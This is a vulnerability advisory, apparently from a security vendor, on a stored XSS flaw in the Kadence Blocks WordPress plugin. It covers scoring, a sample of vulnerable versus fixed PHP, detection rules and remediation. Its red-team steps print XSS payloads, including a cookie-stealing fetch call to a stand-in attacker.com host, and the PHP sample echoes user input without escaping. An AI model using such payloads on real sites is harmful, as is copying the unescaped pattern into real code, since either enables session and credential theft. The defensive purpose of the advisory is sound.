CVE-2025-5678
Executive Summary
CVE-2025-5678 is a Stored Cross-Site Scripting (XSS) vulnerability in the Gutenberg Blocks with AI by Kadence WP – Page Builder Features plugin for WordPress. The flaw resides in the redirectURL parameter, which is insufficiently sanitized and escaped. This allows authenticated attackers with at least Contributor-level access to inject arbitrary web scripts. When a user (including administrators) visits a page containing the malicious payload, the script executes in their browser context, potentially leading to session hijacking, credential theft, or further compromise of the WordPress site.
This vulnerability affects all versions up to and including 3.5.10. As of this report, no official patch has been released, and no public exploit code or proof-of-concept is available. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the risk remains significant due to the widespread use of the Kadence Blocks plugin.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
WordPress Ecosystem Context
This vulnerability is specific to the WordPress plugin ecosystem. It is not related to the underlying web server (Apache/Nginx) or PHP runtime. The attack surface is limited to authenticated users with Contributor-level access or higher, but the impact can be severe if an attacker gains such credentials through other means (e.g., phishing, weak passwords).
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
- Base Score: 6.4 (Medium)
- Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): Low (L) – Attacker needs Contributor-level access.
- User Interaction (UI): Required (R) – A user must visit the injected page.
- Scope (S): Changed (C) – The vulnerable component impacts resources beyond its security scope.
- Confidentiality (C): Low (L) – Limited data exposure possible.
- Integrity (I): Low (L) – Limited modification of data possible.
- Availability (A): None (N) – No impact on availability.
Threat Level: Medium. While the CVSS score is moderate, the potential for privilege escalation (e.g., stealing admin cookies) raises the effective risk. The lack of a patch and the plugin's popularity make this a target for future exploitation.
Deep Dive & Mechanics
The vulnerability is a classic Stored XSS in the redirectURL parameter of the Kadence Blocks plugin. The plugin uses this parameter to define a redirect URL after form submission or button click. Due to insufficient input sanitization and output escaping, an attacker can inject JavaScript code into this parameter.
Attack Flow:
- An authenticated user with Contributor-level access creates or edits a post/page using the Kadence Blocks editor.
- The attacker inserts a block (e.g., a button or form) that uses the
redirectURLparameter. - The attacker sets the
redirectURLto a malicious payload, such asjavascript:alert(document.cookie)or a more sophisticated script. - The payload is stored in the WordPress database.
- When any user (including administrators) visits the page, the injected script executes in their browser.
Why It Works:
- The plugin fails to validate or sanitize the
redirectURLparameter before storing it. - The plugin does not escape the output when rendering the URL in the page, allowing the browser to interpret it as executable code.
Vulnerable vs. Patched Code
Since no official patch is available, the following is a hypothetical comparison based on common remediation patterns.
Vulnerable Code (Example):
// In vulnerable version (<= 3.5.10)
$redirect_url = $_POST['redirectURL'];
// No sanitization or validation
echo '<a href="' . $redirect_url . '">Click here</a>';
Patched Code (Hypothetical):
// In a patched version
$redirect_url = esc_url_raw( $_POST['redirectURL'] );
// Validate that it's a legitimate URL
if ( filter_var( $redirect_url, FILTER_VALIDATE_URL ) ) {
echo '<a href="' . esc_url( $redirect_url ) . '">Click here</a>';
} else {
// Fallback to a safe default
echo '<a href="' . home_url() . '">Click here</a>';
}
The patched version uses esc_url_raw() for sanitization and esc_url() for output escaping, ensuring that only safe, valid URLs are rendered.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A WordPress site with Kadence Blocks plugin version <= 3.5.10.
- An authenticated user account with Contributor-level privileges or higher.
Steps:
- Log in to WordPress as a Contributor.
- Create a new post or page.
- Add a Kadence Blocks button or form block.
- In the block settings, locate the
redirectURLfield. - Inject a malicious payload, e.g.:
Or a more advanced payload to steal cookies:javascript:alert('XSS')javascript:fetch('https://attacker.com/steal?cookie='+document.cookie) - Publish or save the post.
- Wait for an administrator or other user to visit the page. The script executes in their browser.
Note: No public exploit code is available. The above is a conceptual demonstration.
Blue Team (Detection & Response)
Detection:
- Monitor for unusual
redirectURLvalues in post meta or block attributes. - Look for posts containing
javascript:ordata:URIs in theredirectURLfield. - Use the detection rules provided in the Detection Engineering section.
Response:
- Immediately disable the Kadence Blocks plugin if no patch is available.
- Scan the database for malicious payloads using SQL queries:
SELECT * FROM wp_postmeta WHERE meta_key LIKE '%redirectURL%' AND meta_value LIKE '%javascript:%'; - Remove or sanitize any found payloads.
- Rotate all user session tokens and force password resets for affected accounts.
- Implement a Web Application Firewall (WAF) rule to block
javascript:URIs in POST parameters.
Indicators of Compromise (IOCs)
Network IOCs:
- Outbound HTTP requests to attacker-controlled domains containing
?cookie=or similar parameters. - Unusual
Refererheaders pointing to pages with Kadence Blocks.
- Outbound HTTP requests to attacker-controlled domains containing
Host IOCs:
- WordPress posts/pages containing
javascript:ordata:URIs in theredirectURLmeta field. - Modified
wp_postmetatable entries withmeta_keycontainingredirectURLandmeta_valuecontaining script tags orjavascript:URIs.
- WordPress posts/pages containing
File IOCs:
- No specific file changes expected, as the payload is stored in the database.
Detection Engineering
YARA Rule
rule CVE_2025_5678_Stored_XSS {
meta:
description = "Detects stored XSS payloads in Kadence Blocks redirectURL parameter"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-5678"
strings:
$redirect_url = /redirectURL/i
$xss_payload = /javascript:|on\w+=|alert\(|fetch\(|eval\(/i
condition:
$redirect_url and $xss_payload
}
Sigma Rule
title: CVE-2025-5678 Stored XSS in Kadence Blocks redirectURL
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects stored XSS payloads in the redirectURL parameter of Kadence Blocks plugin
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: wordpress
detection:
selection:
http.method: POST
http.url|contains: /wp-admin/admin-ajax.php
http.body|contains: redirectURL
http.body|contains|all:
- 'javascript:'
- 'alert'
condition: selection
falsepositives:
- Legitimate use of javascript: URIs (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-5678 Stored XSS in Kadence Blocks redirectURL"; flow:to_server; content:"redirectURL"; http_client_body; content:"javascript:"; http_client_body; content:"alert"; http_client_body; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin if no patch is available and the site is not critical.
- Restrict user roles – Only grant Contributor-level access to trusted users.
- Implement a WAF rule to block requests containing
javascript:ordata:URIs in theredirectURLparameter.
Long-term Fix:
- Monitor the Kadence WP vendor for an official patch. Once released, update to the patched version immediately.
- If the vendor does not release a patch, consider replacing the plugin with an alternative.
General Best Practices:
- Enforce strong password policies and multi-factor authentication (MFA) for all WordPress users.
- Regularly audit user roles and permissions.
- Keep all plugins and themes updated.
- Use a security plugin (e.g., Wordfence) to detect and block XSS attempts.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.